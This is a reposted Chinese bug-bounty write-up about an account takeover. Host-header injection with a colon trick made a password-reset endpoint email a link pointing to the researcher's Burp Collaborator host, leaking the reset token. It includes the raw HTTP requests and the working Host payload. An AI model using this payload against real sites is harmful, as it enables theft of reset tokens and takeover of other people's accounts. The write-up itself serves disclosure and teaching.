0023. 账户接管漏洞的有趣故事【转载】

admin 2025年1月9日15:28:43评论9 views字数 3080阅读10分16秒阅读模式
声明:本文搬运自国外互联网,如你是原作者,请联系我们!
标签:账户接管
大家好,我是 Deepanshu,来自印度的安全研究院。
祝大家一切顺利!今天,我想分享一个有趣的账户接管漏洞。
0023. 账户接管漏洞的有趣故事【转载】
我收到了 hackerone.com 上的一个私人漏洞赏金计划的邀请,该计划的范围非常有限,而且是一个已有 4 年历史的计划,最初它看起来很安全,但我还是想尝试一下。
我立即跳转到检查公司主网站的“忘记密码”功能。
我在“忘记密码”字段中输入了我的电子邮件并拦截了请求。
POST/auth/realms/Redacted/login-actions/reset-credentials?session_code=AbcdiQqKwDBsJcdIjZpAFW3&client_id=account&tab_id=Abcdii7y9i3qwXs HTTP/1.1Host: login.redacted.comCookieAUTH_SESSION_ID=fc59cdd34026abcd; KC_RESTART=AbcdiSldUIiiaXNFsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 34Origin: https://login.redcated.comReferer: https://login.redacted.com/auth/realms/redacted/login-actions/reset-credentials?client_id=account&tab_id=Abcdi3qwXsUpgrade-Insecure-Requests1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User?1Te: trailersConnection: closeusername=testemail%40gmail.com
正如你所看到的,在忘记密码请求,我脑海中首先想到的是测试 Host 标头注入。 
我在"Host"标头中附加了我的 burp collaborator Url ,如下所示(login.redacted.com为原Host值):
Host: login.redacted.com.BurpcollaboratorUrl.com
我发送了请求,但什么也没发生,它不起作用。 
尝试添加"X-forwarded-host"等标头,但没有起作用。 
那么现在怎么办?让我们换个角度思考。
0023. 账户接管漏洞的有趣故事【转载】
经过多次尝试,我发现如果 Host 标头不是以"login.company.com"结尾,则在 Host 标头中添加任何内容都将不起作用,正如您之前看到的,我在末尾附加了我的 burp collaborator Url,但是它不起作用。
因此现在我尝试在 Host 开头时使用 burp collaborator Link:
Host: burpcollaboratorUrl.com.login.redacted.com
尝试这个,我得到了我的电子邮件的忘记密码链接,它是这样的:
https://abc.burpcollaborator.login.redacted.com/auth/realms/login-actions/action-token?key=ey....
你可以在这里可以看到,密码重置链接中包含 Burp Collaborator URL 与令牌,但如果你仔细观察,服务器删除了Burp Collaborator URL中的".com",并在其后附加了公司域名。
从技术上讲,这使其成为未知主机,受害者点击它时将看到"无法访问站点"错误。因此基本上,作为攻击者,我们无法通过 Burp 服务器的 HTTP pingback获取重置密码令牌。
0023. 账户接管漏洞的有趣故事【转载】
为了使请求正常工作并窃取令牌,我们需要如下密码重置链接:
https://abc.burpcollaborator.com/auth/realms/login-actions/action-token?key=ey....
最后,我尝试在Host中添加一个冒号(:),如下所示:
Host: burpcollaboratorurl.com:login.redacted.com
最终请求现在看起来像这样:
POST/auth/realms/redacted/login-actions/reset-credentials?session_code=Jabcde HTTP/1.1Host: abcd.burpcollaborator.com:login.redacted.comCookieAUTH_SESSION_ID=abcdfc59cdd34026.keycloak-482-keycloak-aaalzz4; Lpaa1sXBBnfZiwyvqXMPW2E5/ikwW6fuTZCg+XlvBMY9yeptovpOaJM2xmkK0=; _ga=GA1.2.1343917884.1641975182; User-Agent: Mozilla/5.0 (WindowsNT10.0Win64; x64; rv:95.0Gecko/20100101 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 34Origin: https://login.redacted.comReferer: https://login.redacted.com/auth/realms/login-actions/reset-credentialsUpgrade-Insecure-Requests1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User?1Te: trailersConnection: closeusername=testemail%40gmail.com
发送请求,然后 BoooM! 
这次我绕过了它,服务器按照我们想要的方式发送了链接。
0023. 账户接管漏洞的有趣故事【转载】
现在您可以看到 Burp 协作者 Url 可以工作并且附加了一个令牌。
 单击它请求Burp Collaborator,并且我得到了 HTTP pingback。
0023. 账户接管漏洞的有趣故事【转载】
0023. 账户接管漏洞的有趣故事【转载】
成功获取重置令牌并完全能够接管受害者账户。 现在您可能想知道为什么以及如何在主机标头中使用该冒号":"标记。好吧,这是公司内部团队的解释。
0023. 账户接管漏洞的有趣故事【转载】
公司在一周内修复了该问题并授予了我丰厚的赏金。
0023. 账户接管漏洞的有趣故事【转载】
我希望你们都喜欢这篇文章,到那时再见,直到下一篇文章👋。
Cheers! 

原文始发于微信公众号(Rsec):0023. 账户接管漏洞的有趣故事【转载】

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日15:28:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   0023. 账户接管漏洞的有趣故事【转载】https://cn-sec.com/archives/3605271.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息